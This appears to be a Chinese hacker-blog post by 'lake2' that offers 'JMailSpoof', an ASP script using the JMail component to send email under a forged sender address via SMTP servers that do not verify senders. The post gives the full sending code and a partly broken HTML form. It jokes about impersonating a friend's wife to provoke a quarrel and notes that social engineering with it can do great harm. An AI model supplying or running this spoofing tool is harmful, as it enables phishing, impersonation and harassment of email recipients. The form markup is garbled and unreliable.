伪造发件人邮件地址

Author：lake2

这篇文章完全没技术含量L

记得若干年前第一次看《黑客X档案》的时候，有篇名为《社会工程学破解Email》的文章，就是利用邮件冒充管理员里骗取用户密码。当时真的太菜，居然真的照着书上一个一个字符的去打HTML……呵呵，心酸往事不提。

言归正传，发匿名邮件完全有益身心健康的，比如剑心那小子老是剥削我，我心里不爽就发邮件骂他，为了不让他知道我是谁就伪造一个邮件地址咯，再狠点，嗯，邮件地址就写成他老婆的，然后一边呆着看他们吵架（嘿嘿，好狠毒啊）。

基于此，写了一个利用Jmail组件发匿名邮件的ASP代码，前提是你的SMTP服务器没有验证发件人地址才是，很多虚拟主机的SMTP服务器就可以的。

代码如下：

<%if request("action")="send" then%>

Dim strSubject,strEmail,strMailAdress,strSender,strContent,strFromer

strSubject = Request("title")

strContent = Request("content")

strSender = Request("Name")

strEmail = Request("to")

strMailAddress = Request("smtp")

strMailUser = Request("usr")

strMailPass = Request("pwd")

Set JMail = Server.CreateObject("JMail.Message")

JMail.Charset = "gb2312"

JMail.From = Request("From")

JMail.FromName = strSender

JMail.Subject =strSubject

JMail.MailServerUserName = strMailUser

JMail.MailServerPassword = strMailPass

JMail.Priority = 3

JMail.AddRecipient(strEmail)

JMail.Body = strContent

JMail.Send(strMailAddress)

alert('没报错就可能成功啦！');

</Script>

else

<!--

body { margin-top: 0px;margin-bottom: 0px;}td {

font-size: 12px;

text-decoration: none;}--></style>

<title>JMailSpoof v0.1</title><table width="500" border="0" align="center" cellpadding="1" cellspacing="1" bgcolor="#666666">

<tr><td height="40" bgcolor="#E3E3E3"><div align="center">JMailSpoof by lake2</div></td></tr>

<td align="center"><div align="left">SMTP服务器*</div></td>

</tr>

</tr>

</tr>

<td align="center"><div align="left">收件人邮箱*</div></td>

</tr>

<td align="center"><div align="left">发件人邮箱*</div></td>

</td>

</tr>

</td>

</tr>

<td height="15" align="center"><div align="left">发件人姓名*</div></td>

<td>

</tr>

</div></td>

</tr>

</tr>

</form></table></td>

</tr></table>

<%end if%>

试试效果先：

伪造发件人邮件地址

然后去邮箱看看：

伪造发件人邮件地址

呵呵，我们伪造了邮件地址，但是可以通过查看邮件头发现是邮件伪造的。

这就是传说中的社会工程学啦，用得好的话危害就大咯。

秒客网

伪造发件人邮件地址

相关文章